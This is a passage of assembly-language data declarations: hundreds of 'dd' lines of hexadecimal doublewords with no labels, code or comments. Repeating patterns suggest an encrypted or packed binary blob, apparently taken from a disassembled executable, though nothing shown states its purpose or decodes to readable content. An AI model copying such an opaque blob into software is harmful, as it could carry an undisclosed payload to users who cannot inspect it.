		dd 0A9C20568h, 0E2410552h, 2F8C52DFh, 5C8D3AD6h, 0E2410249h
		dd 0F6348E68h, 0BA9522B5h, 7E5C7855h, 97AC20EAh, 466ED52h
		dd 0EFAA055Dh, 0CB81B4F1h, 0C8D0A74h, 9CC1E7D6h, 0E2410552h
		dd 0E22CC7DDh, 0FFA80568h, 0EFBB7DF1h, 0C3A949F1h, 0E241015Fh
		dd 0D7008068h, 2F8D02DFh, 0D56EF536h, 8374EF68h, 9BEC173Ah
		dd 0CADF5C1Eh, 0C347C25Ch, 20FBF0C5h, 1144FC35h, 5F121853h
		dd 5135761Fh, 15361086h, 45D7E998h, 2780AC9Dh, 1B252A22h
		dd 3DE06AC1h, 0F5071F49h, 23A8C49Ch, 1FE3655Ah,	1A1B63C2h
		dd 281130B3h, 1B17B989h, 0E367C9CFh, 0EB75F755h, 0CA35AD6Ch
		dd 0C8DF4EA3h, 1C48BD6Dh, 0F7C02D12h, 0C7A5F519h, 2C2B893Fh
		dd 29B64C2h, 0CA3B7AF2h, 0DDCC994Ch, 0EEB2AE03h, 3A567532h
		dd 0C8A6FBECh, 29E0D3FDh, 0E4AF0B4h, 0E2412254h, 8 dup(0E2410568h)
		dd 984A0568h, 4B41055Eh, 0BAB8468Fh, 0F0AD8855h, 852FF6F0h
		dd 8C9443DFh, 85FD8A55h, 7F2FFC06h, 87C627DFh, 96F10455h
		dd 0E2406EAFh, 5C660568h, 0BAB8B64Ah, 0F0058055h, 0E32FF6F0h
		dd 0E39485F7h, 90400568h, 0CADF511Eh, 1F6D8374h, 117E0D2Eh
		dd 0E27C8600h, 0C9415A2Dh, 0E24108D2h, 0E241DD68h, 0A4A0568h
		dd 0ED41055Dh, 0E3806F9Dh, 0EFCB0568h, 1B6CD36Ah, 0E25F0D30h
		dd 0BAB84682h, 40AD8855h, 0E72FF609h, 0E7C1AC0Fh, 97B3F668h
		dd 17FD8DEAh, 852FFC05h, 0C3AC3520h, 0D7788052h, 0E22F80F7h
		dd 0A37C0568h, 0E2410333h, 0E241DD68h, 98AC0568h, 0CAF23FEFh
		dd 0CAAE345Eh, 2F41055Dh, 0E2426F9Ch, 92660568h, 1BC98377h
		dd 80AA0D30h, 0CAF2339Bh, 14F78B6Ah, 0E3CB0D30h, 0E2336EABh
		dd 35210568h, 2FA9799Ch, 17C205F1h, 0E22405F1h,	66C0568h
		dd 3660E89Ch, 0B0D0DCC9h, 0E49D8FB2h, 4B2FF6FDh, 932B7777h
		dd 0D4FD8E55h, 422FF600h, 3FF687BFh, 8A621F24h,	8C9573DFh
		dd 0E39A8D55h, 0E4AD8868h, 0C12FF655h, 93255FDFh, 0E2410555h
		dd 50ADAE68h, 0D92FF6E5h, 935AF782h, 9A7BD555h,	0DC9E04FFh
		dd 642FF6F0h, 0D648765Dh, 2410568h, 8499C1A6h, 632D22AAh
		dd 0F52D2511h, 2341055Dh, 3FCBC1AEh, 1A55E023h,	0E3CAA6ABh
		dd 0E35DB367h, 0A3B40D2Dh, 71B11249h, 0C61981B2h, 6BDFFF7h
		dd 5BB225BBh, 0C401BACEh, 8B0F30D8h, 0C91667BFh, 0D468FD0Ah
		dd 0B27AE2C2h, 87EFCFB7h, 2132D3F7h, 3E79ADBAh,	0FFAB516Eh
		dd 842F94Bh, 54E8707Dh,	7B74EF1h, 3DC6464h, 0BE1CFA9Ch
		dd 0FFA38741h, 78D667A5h, 0FF09BD89h, 88F84Bh, 0A6DB0EE1h
		dd 88873FCh, 3ADB0BFCh,	0C0C178A5h, 795E7B0Bh, 0B70315CDh
		dd 0FFA3F860h, 4C8EA7CBh, 6C5D6BCBh, 0DA6245h, 0BA9A7531h
		dd 0A7A2FC53h, 0E91474D9h, 4852FA9Ch, 5AF67547h, 0CB5AF2BBh
		dd 65A3F94Bh, 7689ABCCh, 393AAEC1h, 0A761406h, 80EB68E0h
		dd 0F25D7EF4h, 484D4F41h, 77578244h, 0C090F8A3h, 48DB0F5Fh
		dd 7757868Ch, 52CC76A3h, 84A2F839h, 0FFA3FBEFh,	0FFD8645Eh
		dd 0BE71F94Bh, 0E038315Ah, 0FFA3F8FAh, 2ECB0A14h, 6F4241DBh
		dd 348E2E53h, 25B4E57Fh, 7F0370D2h, 5FC46426h, 14B3224Eh
		dd 0E677755Eh, 34BEF3E5h, 0C497BC8Fh, 833D3EF2h, 0D94CE16Dh
		dd 5428D452h, 0F72876B3h, 0E573925Bh, 485F586h,	46DF35Fh
		dd 0F728495Fh, 0E58BB55Bh, 82AB509h, 0C7D41D65h, 27B6CAEDh
		dd 1D280C46h, 2510895Bh, 0D728725Bh, 8F803799h,	762C9048h
		dd 1B2C90A0h, 2828725Bh, 0F79C3782h, 0A7517070h, 0E0A9D05Fh
		dd 6BEF4A49h, 0E939E985h, 0F728D8EBh, 0EFF6F6ECh, 6BEF7D0Ch
		dd 0E9399BF9h, 0F728725Bh, 0B88B7C35h, 0F728725Bh, 2DFBD1FBh
		dd 244CDF74h, 244CB7DCh, 0F7287346h, 5CFB879Eh,	601BC2D0h
		dd 211650C7h, 778F0262h, 0B10BB9AEh, 0A628B465h, 7D8E835Fh
		dd 9BA78506h, 0E9399A51h, 0B87E7C35h, 0F728725Bh, 5AFBD8FBh
		dd 244CA774h, 244CB7DCh, 0F7287350h, 66FB8A91h,	0C5A9D1D6h
		dd 0E0A87EF7h, 0B028D5DCh, 0A62880C5h, 9DE9CD5Fh, 0A41A91B0h
		dd 0E20D1B7Ch, 0F51B2C52h, 0D93988BEh, 5554193h, 8AFB012Eh
		dd 0DF35AD46h, 684DF7A2h, 0DB32055Eh, 55360AB6h, 0DB323CBDh
		dd 2 dup(0DB323CB6h), 52323CB6h, 0DB3201F7h, 5DDC40DEh
		dd 0B0A215D7h, 0FA8A334Ch, 52301A10h, 0D5DA5EF8h, 5D7223DEh
		dd 0B0FE15D7h, 468A334Ch, 52301B73h, 0D5DA5B04h, 5D707BDEh
		dd 0B0EA15D7h, 0CA8A334Ch, 52301B73h, 0D5DA5990h, 5D760CDEh
		dd 0B06615D7h, 0E68A334Ch, 52301B89h, 0D5DA599Ch, 5D7798DEh
		dd 0B0D215D7h, 6F38334Ch, 2D4A347Ah, 148F732Bh,	0C3628656h
		dd 90A0CAB4h, 698D53DFh, 8F30543Ch, 0D06A1807h,	14AC8DA2h
		dd 2D054CD6h, 3478015h,	169350B1h, 624F9981h, 0F5812634h
		dd 3ED32709h, 20DC8BA3h, 623D11EBh, 478E92EFh, 5FE61E4h
		dd 4D90E78Fh, 323D17F8h, 0E1488B77h, 0B5C18AABh, 0C5A83C40h
		dd 323D1401h, 0EB0F5B7h, 0A44AF0B0h, 0DB315438h, 24187AB6h
		dd 3F3A395Fh, 0CFB53A12h, 0ADCA6EDDh, 403D66A9h, 0AD66D8ABh
		dd 0D66566A9h, 0FADBCFA6h, 84E52F1Dh, 48323CB3h, 0EBC38915h
		dd 0D6F69D65h, 4314FEE7h, 5A2C442Dh, 0F3400D95h, 0FF93942h
		dd 6EF36143h, 1D79A58Dh, 0C2765931h, 0F3384B78h, 3F172681h
		dd 884A7067h, 66196457h, 2D93567Ch, 493CD568h, 4C887851h
		dd 65760644h, 6D6C13CCh, 717ECCF8h, 512EB26Ch, 2125E6A8h
		dd 5818039Ch, 0F905746Ah, 96A776E3h, 7614892Fh,	7B019F00h
		dd 0B30A08C3h, 63043CB3h, 51563065h, 89B4F47h, 0A7CE85E2h
		dd 940CC6B0h, 7D895FDBh, 0A49CA858h, 0BC761CE3h, 10A881ABh
		dd 59014062h, 0E6338DA1h, 0A9350B2h, 42A39FF5h,	0AFD106BCh
		dd 0A9E07E3Dh, 0B61D09DAh, 0A1937F13h, 4AD6DFC3h, 0DAA89C79h
		dd 4FA2AA09h, 0B089BE3Dh, 0F961630Fh, 59ED4E07h, 1825E7B7h
		dd 3B61B83h, 2E3CD406h,	32434542h, 65AE3A66h, 970D0041h
		dd 46956DC2h, 3243A35Eh, 4432C961h, 0C262FFA6h,	90BD54D9h
		dd 0A695AD5Ah, 8AC26614h, 9D3FBD7h, 0B06155AFh,	0DB3232EDh
		dd 0DAC3B78Bh, 8679F4C4h, 1011365Bh, 0D95083DFh, 31DEA9E7h
		dd 0B7144ABCh, 1952A213h, 7C6965DFh, 5BD70E5Ch,	85248DA6h
		dd 0B2F361E4h, 7DC6918Fh, 95BEA84Eh, 0AF7C2252h, 0F8B93E1Ah
		dd 0CA1426CCh, 65B584FCh, 7E863E4Eh
		dd 0CCD961E4h, 0CBEC4EEEh, 0CE9354E1h, 1E724469h, 10C95483h
		dd 0B256DB3h, 0AEC560B6h, 0BEBF62B1h, 1B2CD9B5h, 33BF0743h
		dd 0FB4B1FF4h, 955283E6h, 0DB3237F9h, 0DEEBE20Ah, 18B0DDC0h
		dd 43F79E7Ah, 6729002Dh, 0FF6CC8EFh, 1A202979h,	0BD6BDCF7h
		dd 301C6920h, 0FA775AC3h, 6036928Ch, 0DF2FC742h, 22D26764h
		dd 0DD276B54h, 0BD25E610h, 0E14ABA6Dh, 0D74DBF3Ch, 31E7F774h
		dd 0EBCEDCAFh, 453E6143h, 0A9E073A6h, 0BF28B4DAh, 3325E606h
		dd 0CC16604Eh, 4FA2AD77h, 0AAF69DF7h, 1B03F292h, 42A3875Ah
		dd 0B8D601B1h, 0EBF60E3Bh, 0BCA96143h, 95944E1Ch, 7DE0F675h
		dd 4FA3263Dh, 0A57DDD28h, 0CA2B8AC4h, 0F1D9B1Dh, 5FEFD746h
		dd 857FF260h, 0CC23A594h, 54FBD7D0h, 0C5FA5483h, 0A9B8FC23h
		dd 594F03DAh, 0B8D62129h, 6494F498h, 0AA0B66B4h, 4AA2679Dh
		dd 0F19356C3h, 0F3384CECh, 0F96C528Dh, 39A3E3F5h, 0EFB5BB1h
		dd 0FBF34670h, 405633E5h, 25A27922h, 0B921DC86h, 95BF23D9h
		dd 255F2355h, 0A1CE532Fh, 6AA49084h, 2024456Fh,	0D85DDF5Dh
		dd 4CF5D306h, 0C653F627h, 0C97DEA59h, 0C6F6E16Ah, 39E0B213h
		dd 0F6B307BDh, 0E3FB9E88h, 41CE0EEBh, 524467BCh, 0EFC38915h
		dd 3C09FFD9h, 2C42B393h, 1AB592BEh, 0DB68C2B1h,	0C4BE0A12h
		dd 0EF59A557h, 0C32C4F4Ah, 0C23DDFDBh, 403BD844h, 6703F665h
		dd 74CD0B67h, 7E28746Ch, 2568A8BFh, 794D2FB1h, 0DF7C0E98h
		dd 46163557h, 5FBD3DECh, 24D68B2Ch, 3E8386Dh, 0E8DF656Eh
		dd 73791D99h, 0CE6A51B9h, 71538347h, 50C95D5Dh,	0B046E767h
		dd 56E7FA90h, 3DA95931h, 0B237DA3Bh, 56E721CFh,	0CC25A131h
		dd 0E3FA47F1h, 0BF105E5h, 263CFB51h, 98DBDD0Bh,	0B65BF347h
		dd 0B3B82B19h, 3837126Dh, 85334049h, 0E56D1CB8h, 31334E9Bh
		dd 24DB8983h, 0C90A880Dh, 6F3BCF74h, 24E23837h,	0F7DE7AF1h
		dd 0E89EE0BEh, 5F6532CDh, 30A8ED24h, 18E054D9h,	0A434691Dh
		dd 0DD6E5B76h, 0D5E45FFFh, 0B90BDD01h, 37BD0CA1h, 7CD387B2h
		dd 0ADECEE28h, 0B42D5492h, 2739489Dh, 3C0A60C1h, 7FB8CA73h
		dd 1CB6F21h, 0B55EAA31h, 0CDF95610h, 75A8EC7Bh,	62B00167h
		dd 9A7E3385h, 3015299Dh, 7F18A030h, 0B048C6ABh,	4BB1CCAh
		dd 1F79ED3Ch, 3BAF3B19h, 33490703h, 0D0C3ACB4h,	0A477B043h
		dd 0F468E399h, 17D5346Dh, 0C8F7EE8Eh, 1D51A2E0h, 0DF0AC27Ch
		dd 29ECEDEDh, 6862A490h, 51D26D8Dh, 0F8FAC52h, 1E466EF0h
		dd 0CAC7DD6Dh, 24D681DFh, 0CD0254D5h, 7CD9B99Bh, 58187342h
		dd 0EB5038F9h, 0CCABFD2Dh, 9848EF5Fh, 0D6BCB933h, 725B20DAh
		dd 0B99F95BFh, 2A5FD75Ch, 20C4F78Dh, 81F388BBh,	786C1465h
		dd 3DE2227Ch, 1A36D730h, 535A6616h, 0CDE7E96Fh,	4E610469h
		dd 4954B083h, 63CC61A1h, 3AE4084h, 0B03EB66Eh, 0C5B0F56Ch
		dd 3054FFFCh, 0D45DA234h, 9137ED06h, 3C3FC3B1h,	0E9D3BE35h
		dd 0B0479DE8h, 9630C76Ch, 7210600Bh, 2AD5AD24h,	0D7F65458h
		dd 0B0460DF6h, 5654EF00h, 6FFAF331h, 9335F45Ah,	56558BD5h
		dd 0F3BE4F31h, 1AF917Eh, 570FFF56h, 5FE09230h, 1940766Ah
		dd 0B4262FBEh, 470E0A2Eh, 3D4DD0Eh, 0EF52A5B2h,	19A8D131h
		dd 5569CD96h, 0A7724C28h, 5538BC63h, 24D80194h,	2182800Dh
		dd 0E7AC4DECh, 0BC7BB64Eh, 6F35F069h, 0F63837h,	571E81E2h
		dd 0C810648Ch, 706AADE1h, 3CDCE0A2h, 95F529FFh,	9B63196Ch
		dd 11F3DD01h, 0EC865E98h, 252B39F8h, 394BDD01h,	0CC9FBAB0h
		dd 7E1B5159h, 31FB3528h, 0C0A37DDCh, 0E52DCC51h, 3BA05347h
		dd 116D045Ah, 0F8301D2h, 520E4F84h, 9337E861h, 0B41E917Fh
		dd 4D25BB54h, 0AC2FEF7Bh, 5664AA62h, 0E9EF2FD9h, 5BE1A53Fh
		dd 24D460A7h, 0DBBC390Dh, 639CB9F4h, 0A137ED05h, 6B83D360h
		dd 0CDE7E597h, 2DE21966h, 28924348h, 0CDE7FE2Eh, 0EC7D4283h
		dd 0AAF487C6h, 0BE2DDC56h, 0C58B936Fh, 56873572h, 117F4431h
		dd 0A4B09D27h, 93E9B7ECh, 0A227593Bh, 3D4B51C5h, 6BB37830h
		dd 14E53AC0h, 0CBE56719h, 3D4B156Dh, 0E2A85F30h, 73A998D6h
		dd 2B26DEDAh, 9D2B870Dh, 0A18AD965h, 607734Dh, 0A935A0C8h
		dd 0D7839B14h, 3C7C7E05h, 6410DD00h, 182B993Fh,	61F01531h
		dd 0CDE082EDh, 55083A00h, 0E2FAC172h, 0FDC44612h, 71FB8AFCh
		dd 0D9177D3Ch, 0E003110h, 0FB73DD0Bh, 19794A08h, 23BD9474h
		dd 0ED672CFh, 24D68452h, 0BD47E914h, 9234F75Ch,	0DB8F51D4h
		dd 0E47EB2A4h, 3C380A54h, 6D646005h, 0B0465A59h, 20C58D7Ch
		dd 0EB51B285h, 0C95C33h, 27FC80D8h, 40283E39h, 226185A2h
		dd 0B5ABDA9Dh, 0B8301A98h, 978356BDh, 2F49751Fh, 9F29BEC0h
		dd 8437E695h, 81BA4BBAh, 1D546A08h, 0CDF50C48h,	0B4355D8Ch
		dd 3ED36AAEh, 0BA7435BBh, 362B355h, 24D6B24Bh, 3118A951h
		dd 0F7643607h, 0CCABF5C1h, 7F1D8BF4h, 502042B6h, 1454C2C0h
		dd 0B29F95BEh, 0BFD04267h, 352B108Ah, 0AEEB8353h, 57304C09h
		dd 2D060C30h, 22CBD0ABh, 42C95D67h, 3C3C7EC4h, 97297D47h
		dd 60BCDBDEh, 522BAB3Eh, 19E0E0Fh, 4E7F166Bh, 0B0461600h
		dd 9567BC8Bh, 2EC95D5Dh, 0E1119223h, 34846CABh,	48FE4AC6h
		dd 0BF726980h, 390E8D8Eh, 2F2014E3h, 5604C496h,	94BFB731h
		dd 9BEDA3Bh, 5266E7F2h,	5604CF92h, 3CCBB031h, 0B046975Fh
		dd 0C1E8D03Eh, 5759BE16h, 9FA05230h, 9FDA3C9Eh,	303D0999h
		dd 0FB5C9930h, 0F99CC43Dh, 0BCA5203Ch, 26F16B15h, 0D01C870Dh
		dd 122DCE90h, 2B730B42h, 7CB77D6Dh, 0AF84B1CBh,	0D67127E9h
		dd 2715D152h, 0EF4C6211h, 0AB90F6B9h, 92EAB6EDh, 0BC247A2Dh
		dd 0A937EB30h, 9DF36398h, 0A259D8Bh, 3FB29C60h,	8DDB0181h
		dd 0D9C95D5Dh, 5E6523A8h, 4BB0DDF4h, 9D679568h,	0EDE7DA9Ah
		dd 666F83D5h, 859A90FBh, 0A18F7566h, 122E524Bh,	0EEDEDD0Bh
		dd 13CB2A43h, 51C6DD0Bh, 793F3A50h, 9469475h, 33D6870Dh
		dd 0E17E15AEh, 0EC865F48h, 5C4139F8h, 9B25DD00h, 85C5D267h
		dd 3336A7BDh, 0BD37ED04h, 9B67BF02h, 2605EE25h,	170D090Ah
		dd 720ACFE5h, 665CE0F4h, 24D68448h, 0BD47E9CBh,	9234F75Ch
		dd 92B875D4h, 2E811281h, 0B3CA556Fh, 5AC445F8h,	0B4262359h
		dd 3D581AEh, 0A703DA9Ah, 800756CAh, 0F5C59904h,	8B49F406h
		dd 18D10B9Bh, 15C227E9h, 725A509Ah, 4E7D0EA5h, 93A1D8h
		dd 9ED883E9h, 1EA2FAB3h, 0C037ED1Dh, 35C7FFA3h,	0FCD80849h
		dd 24ABEBDAh, 39B857B5h, 0B045D323h, 816C4A53h,	0D9A5C7ADh
		dd 91D98231h, 74A3293Fh, 3FD061A1h, 179BAE4Ch, 4264ED8h
		dd 0B1A7FD3Dh, 24D686BFh, 6D2375B5h, 23798370h,	0F8BF1124h
		dd 8BF1D7D8h, 6DCB1D0Ah, 78680E34h, 0B6A31913h,	0D2F481DBh
		dd 193FF49Eh, 0CAEE3747h, 20CA996Dh, 0A19268BBh, 63790877h
		dd 0B987ED4Ch, 0D615307Bh, 953FC10Fh, 4940B329h, 14A0D428h
		dd 0AD27DA9Ah, 568585DBh, 1B887531h, 0DDE6C0DFh, 0ECC0F5D4h
		dd 3BA4E8Ah, 102B416Eh,	99BF66Eh, 9BBCB8F3h, 7A72C7DDh
		dd 31C9C747h, 0CDE75190h, 0CE78AFFBh, 5319FB83h, 70FB9663h
		dd 3D3FE374h, 8845C930h, 6C18CAC1h, 2BDE48DAh, 4300870Dh
		dd 7A4ED93Ch, 0DD76D942h, 14673277h, 299A26BCh,	5688C951h
		dd 536D0F31h, 0E432F806h, 550B32AAh, 86F0DF68h,	36AA612Ah
		dd 85023072h, 0FA932A4Dh, 0CDE1A332h, 0CD43FA42h, 0C8C16375h
		dd 89C8D354h, 897E6242h, 0B82D1E28h, 3D0456BCh,	70197A30h
		dd 9A1C9A75h, 7870DA9Ch
		dd 73D41D7Dh, 0E687CB38h, 0B044D813h, 0D82014E3h, 23FE0170h
		dd 43C9D629h, 0D487A0CFh, 73A52799h, 2BB5FBFFh,	8490870Dh
		dd 0F6E203D5h, 0FF27CC96h, 7A3151h, 93B8751Fh, 6A36BC2Ah
		dd 0F3499C27h, 1B82AF55h, 0E75462FDh, 9E8D23D1h, 41DF0E10h
		dd 0CD37EB3Fh, 0BD473EE4h, 7677BB09h, 149B8EAFh, 425ADA9Ah
		dd 772DFA68h, 1469DF62h, 0F3BDDA9Ah, 5684E874h,	0D31D6F31h
		dd 7A282562h, 9DF3EDA0h, 0A259D8Bh, 50684330h, 0D8D16309h
		dd 0D1AF8412h, 88BC6454h, 20D80A6Ch, 0C0FF5BBh,	0BBA0F034h
		dd 96FA86DDh, 333BF00Fh, 0A40C79D3h, 0E815A72Bh, 0CD09BC19h
		dd 0AAA9BF0Bh, 2AF891EEh, 9923FDFBh, 0E767D225h, 557EBC3Bh
		dd 6743A2F5h, 0E8E3881Ah, 0D4BCB896h, 2835C6DCh, 3996D747h
		dd 7E1C83B0h, 0AE9312AFh, 0C5DF4C4Eh, 0AA23D422h, 0A9E7D477h
		dd 418219D3h, 6AC1098Fh, 0DA54276Ch, 26F50BB0h,	6BD6870Dh
		dd 80F3294Ah, 0F2A9A81h, 2CA2155h, 756B81B5h, 423E6416h
		dd 0ADB6445Dh, 0F3DAAAD4h, 0A5FA8B30h, 518E19Fh, 336ECFE5h
		dd 24D55134h, 0FBF91294h, 0DAA694h, 9D6870Ah, 24D68721h
		dd 0FFA8AAEh, 29FA8A94h, 9956A09Fh, 24D6872Eh, 24DBA88Ch
		dd 0E75B870Dh, 0DF4C2301h, 9E3EFC01h, 83E12CCDh, 3E0A8073h
		dd 4F58BC5Dh, 37990C0Eh, 2BF4F332h, 57F90E0Dh, 37FA8A8Dh
		dd 39D6870Ah, 34870EDBh, 284D7D94h, 2A2F3E14h, 0A620E871h
		dd 0E7438861h, 77543F01h, 24D6872Eh, 1FE4E6B4h,	56B6C8A6h
		dd 0A21A2DE2h, 2A998C2Eh, 244D65ADh, 5CBCBB00h,	200CC3C8h
		dd 0E57FB11Dh, 0A640C127h, 0FEC44225h, 14C21819h, 1DA08B1Eh
		dd 6D93B536h, 62102500h, 0DB5B061Eh, 80473909h,	0C4AA0BD2h
		dd 23950AB8h, 9CEC076Fh, 394E602Ah, 55F01C0Bh, 5134BBC5h
		dd 36959BBDh, 0BC03DA74h, 0A5078B0Bh, 196750EFh, 0C935290Ah
		dd 24D3AF09h, 44C8870Dh, 8EF8E3B2h, 6CE3153Eh, 1C42BC22h
		dd 513D21BDh, 645424E3h, 24D5285Ch, 0AC0F43DDh,	3BD68702h
		dd 24D686ABh, 3ABC340Dh, 24D686A1h, 47B2060Dh, 7CC08672h
		dd 336F6206h, 92F0D78Ch, 59AE4317h, 36D6870Ah, 0ACABD143h
		dd 59970705h, 1E9A06C2h, 390F8031h, 392B7092h, 0DC664E8Ch
		dd 1F048D96h, 1E2AD58Ch, 0CF084216h, 0A41CF40Dh, 3A7EF44Ch
		dd 81D2F559h, 24D6871Eh, 78AD1F92h, 0A3D6870Ah,	6C940FA4h
		dd 0D4F69E35h, 0E9AEBC28h, 2A50AE99h, 0F24188A6h, 7FD19244h
		dd 20B42318h, 4D62E271h, 0CED374D3h, 9CC84E2Ch,	735A120h
		dd 0CA14403Ch, 777F837h, 6695F895h, 7536851Ch, 0DA033E7Fh
		dd 0B3D83B5Dh, 92030F9Ah, 46C97033h, 0E30EFAF0h, 2995F7B8h
		dd 8CC31AE4h, 463E75A0h, 685A930Eh, 7F45671Fh, 8C3262A8h
		dd 56543868h, 0E316FB95h, 28A885CFh, 77B454F6h,	0C02C8531h
		dd 0E136C31Fh, 0CE9F41FCh, 0DD2F48FCh, 0E727C0A7h, 0BD62CE19h
		dd 2803F6B8h, 6AC253E4h, 4BC4A728h, 7A039374h, 84494E33h
		dd 74376BB0h, 3BC03A05h, 0D2C36686h, 0E4C4CE2Dh, 8B8D537Bh
		dd 5C53A027h, 0A9C46176h, 57D43669h, 95E6E03h, 560C4C15h
		dd 4D9C85D3h, 88A890h, 34BD256Ch, 4D9C85D2h, 7 dup(4D9C85D3h)
		dd 4D06DB7Eh, 0F1BCADD3h, 0F35A0D0Bh, 0FE63DB26h, 1EC941A6h
		dd 1FA6E671h, 0EB89ACD3h, 0C75A0D0Bh, 0FE63DB26h, 1EC94EDBh
		dd 1FA7A271h, 0DDE4ACD3h, 0AB5A0D0Bh, 0FE63DB26h, 1EC975C5h
		dd 1F905E71h, 0E62BACD3h, 9F5A0D0Bh, 0FE63DB26h, 1EC973F7h
		dd 1F90DA71h, 0F768ACD3h, 235A0D0Bh, 0FE63DB19h, 1EC94980h
		dd 1F907671h, 121FACD3h, 0F75A0D0Bh, 0FE63DB26h, 1EC97704h
		dd 1F907271h, 0C38ACD3h, 0DB5A0D0Bh, 0FE63DB26h, 1EC97DDFh
		dd 1F976E71h, 0EEB3ACD3h, 4F5A0D0Bh, 0FE63DB27h, 1EC97189h
		dd 1F976A71h, 102ACD3h,	535A0D0Bh, 0F263DB27h, 0BAFA3610h
		dd 0D8E808CAh, 0C8D852C5h, 7B3F1C0h, 0CDAFCD32h, 1B68B635h
		dd 8F9C59E2h, 9205D4F2h, 94AF719Bh, 0B517B519h,	3F9C9C3Dh
		dd 51E47695h, 0F2505B8Dh, 0DF33331Ah, 6BFC40B0h, 3E10BFB8h
		dd 2377A7B9h, 0E5F0A572h, 0F5FF3920h, 0A600FA20h, 0BDE5B6D7h
		dd 7F22640h, 0BA973331h, 58D663C4h, 883DDCADh, 2344DE37h
		dd 1A4DCF33h, 7EE17B4Ah, 297A4286h, 0E03DDCACh,	0C447BFAh
		dd 0C3B5FEC7h, 4D9C848Fh, 535F1641h, 0E2123Dh, 0FF08DE58h
		dd 379B98C7h, 0EDEC3BA6h, 48FEF568h, 187A29CEh,	3F9D2028h
		dd 0A6D70BA9h, 48FFBDF8h, 1C86C5CEh, 237499A5h,	0FB3DDB01h
		dd 0B3CA3DD9h, 8DABC6F2h, 0E783BC58h, 832BD06Dh, 0BED3DB2Ah
		dd 562B482Ah, 114B85D3h, 0A93E0031h, 8A2CACD3h,	505AC6EAh
		dd 0C588728Ah, 0A217B432h, 19A962BAh, 982C144Eh, 0E1484C25h
		dd 7BE96912h, 0F4056C2Eh, 0AFE9DE69h, 417A50DFh, 43F07318h
		dd 48590B60h, 1F328392h, 0F49F42C1h, 0D21DA4B9h, 6B10C20Bh
		dd 4D4D0336h, 8AE4D5B9h, 0C7D6E0D5h, 542038EFh,	0FA3BC51Ah
		dd 0CD9C85B8h, 35492334h, 13A7F53Eh, 2A55E19h, 4B0FEC7Ch
		dd 0F17488FFh, 96A17179h, 0CBB84627h, 0AE486929h, 0B0427EDEh
		dd 0CAD478CCh, 3F9C8508h, 47AF3BC9h, 0CE8F498Ah, 0A31AB329h
		dd 12A57EDFh, 9D3C994Fh, 7C8C36D7h, 5C69D168h, 5D8271D5h
		dd 0B2056C1Bh, 0D054F5F5h, 0D7C89B7Ch, 3672EB8h, 3F9D3FFEh
		dd 76CF438Bh, 3F9D3E91h, 8E29EA42h, 3F9D214Ah, 0A4479C78h
		dd 7010527Eh, 1824A95Ch, 9D1FD406h, 92185CBDh, 37831D0Ah
		dd 0F41D3E41h, 5622CC89h, 474E85D3h, 0DAB295ECh, 635EE3F3h
		dd 0C8041245h, 1D4DEDACh, 5F5AD030h, 798833BBh,	0B8E8B39h
		dd 0BD06E842h, 268018CAh, 48FAA837h, 0D4088EC2h, 37602849h
		dd 1FECD7DCh, 0CA8B87F0h, 0B9E2357Eh, 0AFEBA050h, 176D2FBAh
		dd 49DCC277h, 8D3DDB2Ch, 0C171B13Eh, 5F1AB555h,	1F96D3EFh
		dd 4B2872C1h, 6B76BCE3h, 0CF866136h, 7925F415h,	89B9D85h
		dd 5C06E3F3h, 0E9FE8FF4h, 986140B7h, 26B4AC5Ah,	20CF85D2h
		dd 2046C203h, 0E7B49415h, 0C0A57EBEh, 0D43C0EADh, 29DD2E49h
		dd 4F299285h, 4C157BAFh, 27F3AD3Eh, 8AE5A9C6h, 6BBDBF9Eh
		dd 0AC3E85D3h, 360294B8h, 0A471D85Bh, 0C21804B6h, 2D6828B1h
		dd 1095D8F8h, 9317EA3Dh, 8E828BC0h, 0F8E3BBDh, 9E0AEC46h
		dd 3AFD17B6h, 7A411A45h, 556405A2h, 0B2247503h,	0AEE7D3F2h
		dd 2B47E7E1h, 119DB4BAh, 4822D4A4h, 79D949CEh, 5933971Fh
		dd 37F65480h, 87813457h, 37F62F5Fh, 8436C46Eh, 98D3A38Ah
		dd 600CBA19h, 2E4AD76Bh, 0E2C02C9Eh, 4CF9A30Ah,	7011B848h
		dd 1325ADBAh, 3A19E0C1h, 90A9C146h, 0A85CED95h,	59151C34h
		dd 1E57393Ah, 780D0C9Fh, 735836h, 0B9462120h, 0E0375BDEh
		dd 0C77680Ah, 0C8D95129h, 2953065Eh, 49E73457h,	93167762h
		dd 55613AA1h, 27D5EB29h, 3FF785D2h, 4ADF7B70h, 0DF7D4D6Ah
		dd 18AD1D16h, 0CA464A5h, 0F1B20341h, 0E7316ADAh, 445C9386h
		dd 3F19C496h, 49EDA13Fh, 0F324D7F6h, 243E85C9h,	10034CBBh
		dd 0F29ED222h, 792D331Ah, 353F144Fh, 9089B394h,	3975B4C6h
		dd 86B22BCh, 3F9E7DDAh,	2CFDC78Fh, 0A013C8CBh, 0E1347760h
		dd 3D3F9FA5h, 6ADFEDDCh, 0C7F96036h, 6AD88476h,	0FB8F5636h
		dd 0F42C864Ah, 6395C1FFh, 4347E538h, 3F6DE933h,	6ADE276Eh
		dd 0FD4EF91Fh, 4D4FDA91h, 767285D3h, 2A008CDDh,	0E2FF55h
		dd 4AB9DE58h, 0DD3DDBC9h, 1C2D64F7h, 3DA39D87h,	0D0BAFD0Fh
		dd 0F7A465DEh, 7202364Eh
		dd 819A206h, 296676D1h,	0E5FC3957h, 49E4FD39h, 4028E2CEh
		dd 90158E35h, 1DF85CBDh, 0AAF73159h, 0F59C85C3h, 0E1D1852Eh
		dd 97493BE0h, 0FBAFF3ECh, 3B1FC3B6h, 84060488h,	0D4E437CCh
		dd 5FB78364h, 2F3E85D5h, 0C4888DE7h, 0A5E70E65h, 477351E1h
		dd 5F1981DAh, 0E9DC6575h, 43531FC5h, 0C11CD1CBh, 0D6E136D6h
		dd 0FEE70959h, 8E698F6Eh, 1E5FD1BCh, 65F73260h,	3F9C80ADh
		dd 5963B625h, 0BEF8AA30h, 7F8A03B9h, 50C94764h,	7F38129Eh
		dd 8213DF24h, 1545310Bh, 0BCE5630Bh, 0FD7B21C8h, 144F4A01h
		dd 1B02009h, 8F06F315h,	7F8DECE6h, 195FB58Ch, 149626F6h
		dd 4D70561Bh, 9BC73BD3h, 38FA8363h, 0FF8B5575h,	0F082251Eh
		dd 442CCC0Dh, 0B32B28B6h, 87327BAAh, 645D4D9Dh,	5F196902h
		dd 84F37F04h, 499448C9h, 0F28F3BD3h, 0F204706Ch, 6534331Ah
		dd 99FB4719h, 863E85D2h, 491CAE81h, 44CD7D5Ah, 4B7E2AF8h
